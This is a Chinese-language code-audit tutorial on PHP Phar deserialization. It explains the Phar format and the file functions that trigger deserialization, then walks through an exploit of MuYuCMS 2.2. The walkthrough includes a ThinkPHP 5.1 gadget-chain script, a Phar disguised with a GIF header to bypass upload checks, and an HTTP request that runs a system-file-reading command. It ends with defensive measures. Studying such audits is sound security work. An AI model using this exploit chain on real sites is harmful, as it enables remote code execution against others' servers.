【PHP代码审计】站点中的Phar反序列化漏洞
字数 1425 2025-08-18 11:36:48
PHP Phar反序列化漏洞深入分析与利用
一、PHP反序列化漏洞概述
PHP反序列化漏洞按照反序列化入口可以分为三类:
- 调用
unserialize()函数进行反序列化 - 利用Session处理中进行的反序列化操作
- 通过Phar伪协议进行反序列化
其中,unserialize()函数的使用较少见,而Session反序列化可控条件较为苛刻。本文将重点介绍第三种方式——Phar伪协议反序列化漏洞。
二、Phar基础知识
1. 什么是Phar
Phar(PHP Archive)是PHP的压缩文档格式,从PHP 5.3开始引入,类似于Java的JAR文件。它可以将多个文件打包到一个文件中,无需解压即可被PHP访问和执行内部语句。
2. Phar文件结构
Phar文件包含以下几个主要部分:
- stub:文件头部标识,必须包含
__HALT_COMPILER();?>,前面可以添加任意内容 - manifest:包含文件的元数据,其中自定义的meta-data会以序列化形式存储
- 文件内容:实际存储的文件内容
- 签名:可选部分,用于验证文件完整性
三、Phar反序列化原理
Phar之所以能触发反序列化,是因为:
- Phar文件会以序列化的形式存储用户自定义的meta-data
- PHP在解析meta数据时,会调用
php_var_unserialize()进行反序列化操作 - 这相当于替代了
unserialize()函数作为反序列化漏洞的入口
四、触发Phar反序列化的文件系统函数
以下常见的PHP文件系统函数在参数可控时可触发Phar反序列化:
file_exists()、is_dir()、is_executable()、is_file()、is_link()、is_readable()
is_writable()、is_writeable()、parse_ini_file()、copy()、unlink()、stat()
fopen()、file()、file_get_contents()、readfile()、md5_file()、sha1_file()
五、生成Phar文件的技巧
1. 基本生成方法
<?php
class TestObject {}
@unlink("phar.phar");
$phar = new Phar("phar.phar");
$phar->startBuffering();
$phar->setStub("GIF89a". "<?php __HALT_COMPILER(); ?>"); // 设置stub,增加gif文件头
$o = new TestObject();
$phar->setMetadata($o); // 将自定义meta-data存入manifest
$phar->addFromString("test.txt", "test"); // 添加要压缩的文件
$phar->stopBuffering();
2. 绕过上传限制的技巧
由于PHP识别Phar文件仅通过头部标识__HALT_COMPILER();?>,因此可以:
- 添加任意文件头(如GIF89a)
- 修改Phar文件后缀名(如.jpg、.png等)
- 从而绕过上传点的文件类型检查
六、漏洞利用实战(以MuYuCMS 2.2为例)
1. 寻找触发点
目标:找到一个参数可控的受影响的文件系统函数。
在MuYuCMS 2.2中,Template.php文件的is_dir()函数参数可控:
// Template.php
public function cutformadd()
{
$path = input('path');
if(is_dir($path)) {
// ...
}
}
2. 构造利用链
MuYuCMS基于ThinkPHP 5.1开发,可以使用现成的反序列化利用链:
<?php
namespace think {
abstract class Model {
protected $append = [];
private $data = [];
function __construct() {
$this->append = ["l1_Tuer"=>["123"]];
$this->data = ["l1_Tuer"=> new Request()];
}
}
}
namespace think\process\pipes {
use think\model\concern\Conversion;
use think\model\Pivot;
class Windows {
private $files = [];
public function __construct() {
$this->files=[new Pivot()];
}
}
}
namespace think\model {
use think\Model;
class Pivot extends Model {}
}
namespace {
use think\process\pipes\Windows;
$phar = new Phar("shell.phar");
$phar->startBuffering();
$phar->setStub("GIF89a". "<?php __HALT_COMPILER(); ?>");
$o = new Windows();
$phar->setMetadata($o);
$phar->addFromString("test.txt", "test");
$phar->stopBuffering();
echo (base64_encode(serialize(new Windows())));
}
3. 生成Phar文件
- 修改php.ini,设置
phar.readonly = Off - 执行生成脚本:
php.exe poc.php
4. 上传并触发漏洞
- 登录后台,找到任意图片上传点,上传伪装成图片的Phar文件
- 记录返回的文件路径
- 构造漏洞利用请求:
POST /admin.php/template/cutformadd?cmd=type%20c:\\windows\\win.ini HTTP/1.1
Host: target.com
Content-Type: application/x-www-form-urlencoded
Cookie: PHPSESSID=xxx
finame=测试&fielname=gywm.html&path=phar://./public/upload/images/恶意文件.jpg&content=666
七、防御措施
- 禁用Phar流包装器:
stream_wrapper_unregister('phar'); - 对文件系统函数的参数进行严格过滤
- 限制上传文件的类型,不仅检查扩展名,还要检查文件内容
- 使用
phar.require_hash=On要求Phar文件必须包含签名 - 及时更新框架和依赖库,避免使用已知存在漏洞的版本
八、总结
Phar反序列化漏洞是一种较为隐蔽的攻击方式,特点如下:
- 不需要直接调用
unserialize()函数 - 可以绕过上传限制
- 利用常见的文件操作函数触发
- 危害性大,可导致远程代码执行
在白盒审计时,应重点关注:
- 参数可控的文件系统函数调用
- 文件上传功能的实现方式
- 项目中使用的第三方库和框架版本